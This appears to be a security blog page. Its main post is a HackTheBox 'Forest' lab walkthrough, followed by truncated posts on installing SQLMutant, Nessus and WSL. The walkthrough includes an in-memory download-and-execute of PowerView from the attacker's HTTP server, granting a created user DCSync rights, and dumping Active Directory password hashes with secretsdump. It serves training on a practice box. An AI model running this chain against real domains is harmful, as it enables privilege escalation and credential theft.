python http server to share files between two boxes or machines and assinging a user dcsync rights

 scenario: solving hackthebox forest challenge.

say you already have remote evil winrm shell on the remote AD box. and you are connected with that box via vpn. say 10.10.10.161 is AD's ip and 10.10.14.2 is your ip. 

now you need you upload some files in the AD box from your box. lets see how python server help in this regard. 

git clone https://github.com/PowerShellMafia/PowerSploit/ -b dev 

now go to cd PowerSploit/Recon to get PowerView.ps1

root@ippsec:~/htb/boxes/forest/www# in this directory we have put PowerView.ps1 tool. 

root@ippsec:~/htb/boxes/forest/www# python3 -m http.server 80


now go to AD box via winrm shell: using user svc-alfresco

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> IEX(New-Object Net.WebClient).downloadString('http://10.10.14.2/PowerView.ps1')

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> $pass = convertto-securestring 'PleaseSub' -AsPlainText -Force

PleaseSub is the password of ippsec user that we created on AD using net user command and add that user to a special group in AD. The reason is if we add ippsec user on that group, then we can assign dcsync rights to that user in order to extract password hashes from AD. because doing bloodhound we have found that, there is a group on AD named account operators and svc-alfresco is a member of that group. the thing is account operator group allow a user say svc-alfresco to create other user and assign them to other group. leveraging this we have created ippsec user and add him exchange windows permissions group. once ippsec user in this group exchange windows permissions, then we can further assign him dcsync rights.

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> $cred = New-Object System.Management.Automation.PSCredential('HTB\ippsec', $pass) 

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC=htb,DC=local" -PrincipleIdentity ippsec -Rights DCSync

 

 now come back to your host machine:

root@ippsec:/usr/share/doc/python3-impacket/examples# ./secretsdump.py htb.local/ippsec:PleaseSub@10.10.10.161

Installtion of SQLMutant tool

This tool is perfectly works on ubuntu 24 system. And I found it is not working properly in kali linux 24 version.   https://github.com/blackhatethicalhacking/SQLMutant/tree/main This tool need to use along with sqlmap tool. Showing this cheat sheet for kali or debian based system.  This tool actually analyze everything and give you the vulnerable url where sql injection is possible. You just need to use then sqlmap to exploit that.   Prerequisite: apt install pipx -y (for ubuntu) pip3 install uro or pipx install uro pipx ensurepath pipx completions  (not needed)  source ~/.bashrc   or restart system If go tool is not installed then run the below two commands first ( golang-go ) or follow this link to install go (https://mahimfiroj.blogspot.com/2024/12/installing-nuclei-in-kali.html) otherwise skip this step.   dpkg -l | grep packagename (Using this command you can check package is installed or not) apt install gccgo-go -y or apt install gol...

Install Nessus from docker

Docker installation. Give the below commands one by one. apt install docker-cli or apt install docker.io After the installation is complete, if you are inside wsl then give this command to start docker, because inside wsl systemd (systemctl) does not work: service docker start WSL troubleshooting : If the above command " service docker start " does not work then use below command: dockerd (It may not work if any previous docker process is running. It will show you pid of that process. Use this command to kill that process " kill -9 pid " and run dockerd command again) If " docker ps -a " giving error like " Cannot connect to the Docker daemon at unix:///run/podman/podman.sock. Is the docker daemon running? " This is because you may installed podman-docker package. If you remove the package still you will get this error but you should remove the package. Then issue this command: env | grep -i docker DOCKER_HOST=unix:///run/podman/podman.sock   --...

WSL - windows subsystem for linux

  1. From the start menu, type "Turn Windows features on or off". Check the box, Virtual Machine Platform and Windows Subsystem for Linux or in the command prompt simply give this command: wsl.exe --install --no-distribution Now Restart the system.  If wsl is already installed, then give this command: wsl.exe --update 2. Now from Microsoft store download kali linux and install it. Or you can give this command to see list of distributions. Then install based on your choice.  To see list of distributions: wsl.exe --list --online To install: wsl.exe --install --distribution <Distro Name> i.e.  wsl --install --distribution kali-linux 3. Now it will ask for username and password, say at the time of installing kali-linux here. Provide that.  4. Once it is installed, it has come with very minimum package installation.  Run the following commands to install all packages: sudo apt update sudo apt full-upgrade -y sudo apt install -y kali-linux-default (This re...
